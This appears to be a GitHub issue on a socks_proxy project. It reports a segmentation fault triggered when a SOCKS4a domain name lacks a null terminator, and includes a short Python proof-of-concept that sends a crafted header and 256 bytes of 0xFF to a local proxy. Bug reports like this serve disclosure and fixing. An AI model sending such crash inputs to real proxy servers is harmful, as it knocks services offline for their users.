socks_proxy icon indicating copy to clipboard operation
socks_proxy copied to clipboard

Segmentation fault

Open useless2bit opened this issue 4 years ago • 0 comments

Segmentation fault, if the domain name isn't null-terminated string (SOCKS4a protocol).

#!/bin/python3

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)

s.connect(('127.0.0.1', 1080))

s.send(b'\x04\x01\x00\x00\x00\x00\x00\x01\x00')
for i in range(256):
    s.send(b'\xFF')

useless2bit avatar Oct 26 '21 15:10 useless2bit